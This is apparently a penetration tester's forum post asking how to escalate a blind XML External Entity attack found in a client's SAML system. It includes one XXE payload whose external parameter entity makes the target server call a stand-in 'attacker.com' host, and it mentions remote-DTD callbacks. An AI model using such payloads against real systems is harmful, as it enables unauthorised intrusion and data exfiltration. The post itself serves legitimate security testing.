So I've found a blind Xml External Entity (XXE) attack against a SAML infrastructure while on a client engagement but it has been giving me fits trying to exploit it earlier. I can construct a simple XXE:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY % xxe SYSTEM "http://attacker.com/">%xxe; ]> <xml></xml>
and I get the http connect from their server but anything more complicated like fetching a DTD from me and running it gets nothing. I can see the fetch of the DTD but then the DTD request ( a simple call back to my server) doesn't execute. So after banging my head against a wall for three days I thought I'd ask the community if they had any clever tricks with XXE or any attack paths when attacks are limited.